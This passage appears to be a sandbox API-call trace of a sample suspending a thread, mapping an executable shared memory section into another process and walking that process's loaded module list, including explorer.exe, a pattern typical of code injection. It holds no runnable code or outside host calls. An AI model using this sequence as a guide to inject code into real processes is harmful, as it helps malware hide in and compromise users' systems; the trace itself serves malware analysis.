[23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0044.148] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.148] ResumeThread (hThread=0x1220) returned 0x1 [0044.148] Sleep (dwMilliseconds=0x64) [0044.303] SuspendThread (hThread=0x1220) returned 0x0 [0044.303] NtGetContextThread (in: ThreadHandle=0x1220, Context=0x6adf400 | out: Context=0x6adf400*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x769f33b8, Rcx=0x0, Rdx=0x420efa, Rbx=0x7efde000, Rsp=0x2bfdd4, Rbp=0x2bfddc, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x2bfb58, R10=0x0, R11=0x202, R12=0x7efdb000, R13=0x12fd20, R14=0x12eac0, R15=0x747b2450, Rip=0x420efa, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0044.304] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.304] NtCreateSection (in: SectionHandle=0x6adf308, DesiredAccess=0xf001f, ObjectAttributes=0x6adf340*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x6adf310, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6adf308*=0x11f8) returned 0x0 [0044.304] NtMapViewOfSection (in: SectionHandle=0x11f8, ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adf300*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x6adf2c8*=0, ViewSize=0x6adf290*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6adf300*=0x9b70000, SectionOffset=0x6adf2c8*=0, ViewSize=0x6adf290*=0x128000) returned 0x0 [0044.304] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.317] NtMapViewOfSection (in: SectionHandle=0x11f8, ProcessHandle=0x1210, BaseAddress=0x6adf2f0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x6adf2c8*=0, ViewSize=0x6adf290*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6adf2f0*=0x2c0000, SectionOffset=0x6adf2c8*=0, ViewSize=0x6adf290*=0x128000) returned 0x0 [0044.318] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.325] NtQueryInformationProcess (in: ProcessHandle=0x1210, ProcessInformationClass=0x1a, ProcessInformation=0x6adf1d0, ProcessInformationLength=0x8, ReturnLength=0x6adf1c0 | out: ProcessInformation=0x6adf1d0, ReturnLength=0x6adf1c0) returned 0x0 [0044.325] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x200) returned 0x986faf0 [0044.325] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x88) returned 0x986fd00 [0044.325] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7efde000, Buffer=0x986fd00, NumberOfBytesToRead=0x14, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd00*, NumberOfBytesRead=0x6adf1c0*=0x14) returned 0x0 [0044.325] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77440200, Buffer=0x986fd14, NumberOfBytesToRead=0x24, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd14*, NumberOfBytesRead=0x6adf1c0*=0x24) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c24a0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2520, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2860, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2948, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3060, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3128, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c34a8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3308, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cdd90, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce660, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce728, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7f0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce8b0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce978, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cea40, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.326] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef08, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cefd0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf0b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf138, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf1b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf238, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf2b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf338, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf3b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf438, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf4b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf538, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf5b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf638, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf6b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf738, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.327] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf7b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.328] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf838, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.328] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986faf0 | out: hHeap=0x9770000) returned 1 [0044.328] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fd00 | out: hHeap=0x9770000) returned 1 [0044.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2524, flAllocationType=0x3000, flProtect=0x4) returned 0x4070000 [0044.328] NtQueryInformationProcess (in: ProcessHandle=0x1210, ProcessInformationClass=0x1a, ProcessInformation=0x6adf1d0, ProcessInformationLength=0x8, ReturnLength=0x6adf1c0 | out: ProcessInformation=0x6adf1d0, ReturnLength=0x6adf1c0) returned 0x0 [0044.328] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x200) returned 0x986faf0 [0044.328] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x88) returned 0x986fd00 [0044.328] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7efde000, Buffer=0x986fd00, NumberOfBytesToRead=0x14, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd00*, NumberOfBytesRead=0x6adf1c0*=0x14) returned 0x0 [0044.328] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77440200, Buffer=0x986fd14, NumberOfBytesToRead=0x24, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd14*, NumberOfBytesRead=0x6adf1c0*=0x24) returned 0x0 [0044.328] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c24a0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c18b8, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.329] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2520, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c25a0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.329] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2860, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2810, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.329] StrRChrA (lpStart="C:\\Windows\\syswow64\\kernel32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\kernel32.dll" [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2948, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c28f8, Buffer=0x986faf0, NumberOfBytesToRead=0x44, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x44) returned 0x0 [0044.329] StrRChrA (lpStart="C:\\Windows\\syswow64\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3060, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3010, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.329] StrRChrA (lpStart="C:\\Windows\\syswow64\\ADVAPI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ADVAPI32.dll" [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3128, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.329] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c30e0, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.329] StrRChrA (lpStart="C:\\Windows\\syswow64\\msvcrt.dll", lpEnd=0x0, wMatch=0x5c) returned="\\msvcrt.dll" [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c34a8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3460, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.330] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3308, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3298, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.330] StrRChrA (lpStart="C:\\Windows\\syswow64\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cdd90, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c33f8, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.330] StrRChrA 